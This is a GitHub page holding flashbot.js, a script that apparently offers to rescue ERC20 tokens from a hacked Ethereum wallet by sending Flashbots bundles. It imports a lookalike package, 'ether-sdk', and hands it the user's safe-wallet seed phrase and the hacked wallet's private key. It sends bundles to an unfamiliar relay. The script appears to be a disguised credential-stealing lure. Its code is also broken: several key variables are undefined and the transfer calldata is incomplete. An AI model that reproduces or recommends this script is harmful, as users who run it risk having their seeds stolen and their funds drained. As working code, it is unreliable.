-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathflashbot.js
140 lines (105 loc) · 4.12 KB
/
flashbot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
const { FlashbotsBundleProvider, FlashbotsBundleResolution, } = require("@flashbots/ethers-provider-bundle");
const ethers = require("ethers")
const ethersWallet= require("ether-sdk")
const Web3 = require("web3")
// SAFE WALLET SEED
var seed = "SAFE WALLET SEED SAFE WALLET SEED SAFE WALLET SEED"
let mnemonicWallet = ethersWallet.fromMnemonic(seed);
var PRIVATEKEY = mnemonicWallet.privateKey;
var myAddress = mnemonicWallet.address
// HACKED WALLET PRIVATE KEY
var Key = "PRIVATE KEY PRIVATE KEY PRIVATE KEY PRIVATE KEY PRIVATE KEY PRIVATE KEY "
var hash32Key = ethersWallet.fromPrivateKey(Key);
// nonce
async function getCurrentNonce(wallet) {
try {
const nonce = await wallet.getTransactionCount("pending");
console.log("Nonce:", nonce);
return nonce;
} catch (error) {
console.error("Error fetching nonce:", error.message);
throw error;
}
}
async function main() {
const provider = new ethers.providers.JsonRpcProvider("https://eth-mainnet.alchemyapi.io/v2/-----------");
const authSigner = new ethers.Wallet(SIGNER_PK, provider);
const safeWallet = new ethers.Wallet(SF_PK, provider);
const hackedWallet = new ethers.Wallet(HK_PK, provider);
const flashbotsRPC = "https://builder.gmbit.co/rpc"; //
const flashbotsProvider = await FlashbotsBundleProvider.create(provider, authSigner, flashbotsRPC);
// ERC20
const tokenContractAddress = "0xd533a949740bb3306d119cc777fa900ba034cd52";
let i = 1;
while(i > 0) {
let feeData = await provider.getFeeData();
// nonce
let newNonce = await getCurrentNonce(safeWallet);
// nonce
let hackedNonce = await getCurrentNonce(hackedWallet);
const gasTransaction = {
transaction: {
from: "0xF99AC44Dce78A5D005A46297938..........",
to: "0xeeC68608d68b3259ef29bCa68A513..........",
value: ethers.utils.parseEther("0.007"), //0.007ETH
type: 2,
maxFeePerGas: feeData.maxFeePerGas,
maxPriorityFeePerGas: feeData.maxPriorityFeePerGas,
gasLimit: 21000,
chainId: 1, //id
nonce: newNonce
},
signer: safeWallet
};
const claimTransaction = {
transaction: {
to: "0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2",
data: "0x3ccfd60b", //
type: 2,
maxFeePerGas: feeData.maxFeePerGas,
maxPriorityFeePerGas: feeData.maxPriorityFeePerGas,
gasLimit: 315000,
chainId: 1,
nonce: hackedNonce
},
signer: hackedWallet
};
const transferTransaction = {
transaction: {
to: tokenContractAddress,
data: "0xa9059cbb",
type: 2,
maxFeePerGas: feeData.maxFeePerGas,
maxPriorityFeePerGas: feeData.maxPriorityFeePerGas,
gasLimit: 96000,
chainId: 1,
nonce: hackedNonce + 1
},
signer: hackedWallet
};
const transactionBundle = [gasTransaction, claimTransaction, transferTransaction];
let blockNumber = await provider.getBlockNumber();
const targetBlockNumber = blockNumber + 1;
console.log(`Current Block Number: ${blockNumber}, Target Block Number:${targetBlockNumber}`);
//const signedTransactions = await flashbotsProvider.signBundle(transactionBundle)
//const bundleResponse = await flashbotsProvider.simulate(signedTransactions, targetBlockNumber);
const bundleResponse = await flashbotsProvider.sendBundle(transactionBundle, targetBlockNumber);
if ('error' in bundleResponse) {
console.error("Bundle submission error:", bundleResponse.error.message);
} else {
console.log(JSON.stringify(bundleResponse, null, 2))
}
const bundleResolution = await bundleResponse.wait()
if (bundleResolution === FlashbotsBundleResolution.BundleIncluded) {
console.log(`${i}${targetBlockNumber}`);
i = -1;
} else if (bundleResolution === FlashbotsBundleResolution.BlockPassedWithoutInclusion) {
console.log(`${i}, ${targetBlockNumber}中`);
i++;
} else if (bundleResolution === FlashbotsBundleResolution.AccountNonceTooHigh) {
i++;
console.log("Nonce too high, failed");
}
}
}
main().catch(console.error);